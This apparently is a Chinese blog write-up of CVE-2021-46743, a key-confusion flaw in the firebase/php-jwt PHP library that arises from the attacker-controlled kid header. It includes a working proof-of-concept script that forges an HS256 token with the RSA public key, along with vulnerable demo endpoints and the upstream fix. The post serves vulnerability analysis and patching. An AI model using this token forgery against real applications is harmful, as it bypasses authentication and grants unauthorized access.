firebase/php-jwt库的引入加密混淆问题CVE-2021-46743

前言:今天偶然看到的关于php-jwt库的重新引入加密混淆问题CVE-2021-46743,这里简单的记录下

参考文章:https://github.com/firebase/php-jwt/issues/351
参考文章:https://github.com/firebase/php-jwt/pull/365

什么是jwt

参考文章:http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.htm

php-jwt库的重新引入加密混淆问题

这里通过https://github.com/firebase/php-jwt/issues/351可以了解相关详情

这里搭建的php-jwt版本为5.4.0,经过测试影响的版本应该在6.0之前都存在影响

问题出在文件JWT.php的decode方法中,如下所示

主要的问题就是对于jwt中的kid字段进行了重新校验,而在jwt中我们的kid字段是可控的,这就导致了重新引入了加密混淆的问题

kid字段的作用是一个可选的报头,如权利要求其保持的密钥标识符,当有多个键来签署该令牌是特别有用的并且需要查找正确的验证签名,简单的说就是如果服务端存在多个加密算法验证的类型,那么我们可以通过kid来进行指定对应的验证方法

下面写法会导致问题出现,首先还需要知道hs256和rs256所对应的主键值以及rs256对应的公钥

<?php
$decoded = JWT::decode(
    $attackerControlledString,
    [
        'galdalf0' => '256-bit key goes here',
        'legolas1' => 'RSA public key goes here' 
    ],
    ['RS256', 'HS256']
);

漏洞复现

HS256的jwt请求接口

if (isset($_GET['token'])) {
    try {
        $decoded = JWT::decode(
            $_GET['token'],
            KeyManagement::auto()->getJwtVerifyingKeyIdMap(),
            ['HS256']
        );
    } catch (Throwable $ex) {
        echo json_encode([
            'status' => 'FAIL',
            'token' => $_GET['token'],
            'ex' => $ex->getMessage(),
            'trace' => $ex->getTrace(),
        ]);
        exit;
    }
    if (!empty($decoded)) {
        echo json_encode([
            'status' => isset($decoded->pwned)
                ? 'Exploit Successful!'
                : 'Decoded Successful',
            'pieces' => $decoded
        ]);
        exit;
    }
}

echo json_encode(
    [
        'token' => JWT::encode(
            [
                'sub' => 'firebase-php-jwt-proof-of-concept.pie-hosted.com',
                'third-party' => 'foo-bar'
            ],
            KeyManagement::auto()->getJwtSigningKeyForAlg('HS256'),
            'HS256',
            'gandalf0'
        )
    ],
    JSON_PRETTY_PRINT
);

rs256的请求接口

if (isset($_GET['token'])) {
    try {
        $decoded = JWT::decode(
            $_GET['token'],
            KeyManagement::auto()->getJwtVerifyingKeyIdMap(),
            ['RS256']
        );
    } catch (Throwable $ex) {
        echo json_encode([
            'status' => 'FAIL',
            'token' => $_GET['token'],
            'ex' => $ex->getMessage(),
            'trace' => $ex->getTrace(),
        ]);
        exit;
    }
    if (!empty($decoded)) {
        echo json_encode([
            'status' => 'OK',
            'pieces' => $decoded
        ]);
        exit;
    }
}

echo json_encode(
    [
        'token' => JWT::encode(
            [
                'sub' => 'firebase-php-jwt-proof-of-concept.pie-hosted.com',
                'user-id' => 'admin001'
            ],
            KeyManagement::auto()->getJwtSigningKeyForAlg('RS256'),
            'RS256',
            'legolas1'
        ),
        'public-key' => KeyManagement::auto()->getJwtVerifyingKeyIdMap()['legolas1']
    ],
JSON_PRETTY_PRINT
);

通过请求rs256.php的时候会返回一个token以及对应的rs256公钥,并且这里指定的是$key为legolas1,如下图所示

接着拿着这个rsa的公钥进行请求hs256接口进行jwt伪造,这里需要指定kid为legolas1

$step2 = JWT::encode(
    [
        'pwned' => 'very yes',
        'firebase' => 'pH too high'
    ],
    $pk,
    'HS256',
    'legolas1' // wrong key id!!!
);

发送验证可以看到,已经成功进行签名验证了

poc参考地址:https://github.com/firebase/php-jwt/files/6966712/php-jwt-poc.zip

// Step 1: Fetch a token and public key
$step1 = fetch_json($baseurl . '/rs256.php', []);
if (empty($step1['token']) || empty($step1['public-key'])) {
    throw new Exception('Invalid response. Is the demo server online?');
}
$token = $step1['token'];
$pk = $step1['public-key'];

// You can replay this token against itself:
// $test = fetch_json($baseurl . '/rs256.php', ['token' => $token]);

// Step 2: Forge a token using the public key, but wrong key ID
$step2 = JWT::encode(
    [
        'pwned' => 'very yes',
        'firebase' => 'pH too high'
    ],
    $pk,
    'HS256',
    'legolas1' // wrong key id!!!
);

var_dump($step2);

// Step 3: Pwn;
$step3 = fetch_json($baseurl . '/hs256.php', ['token' => $step2]);
var_dump($step3);

最终导致走的是hs256验证,但是因为"kid": "legolas1"判断的是legolas1(rs256),从而$key拿到的是rs256的公钥

最终verify验证的时候hash_hmac验证的时候用的是rs256的公钥作为hash_hmac的密钥来进行验证

总结下php-jwt中最主要的问题就是kid导致可控又再次引入了密钥混淆攻击的问题,如果要利用的话需要满足如下条件

  • 开发者写法中需要提供多个形式的kid,我们需要已知有什么类型的数组形式的kid

  • 开发者当前jwt验证是通过非对称加密来进行验证的,需要知道非对称加密的公钥

修复手段

参考地址:https://github.com/firebase/php-jwt/pull/365

在进行解密的时候提供new Key的操作,直接进行对应的绑定kid,然后添加了一个判断jwt的alg和当前要解密的算法是否相同来防止加密混淆

posted @ 2023-01-14 02:11  zpchcbd  阅读(608)  评论(0)    收藏  举报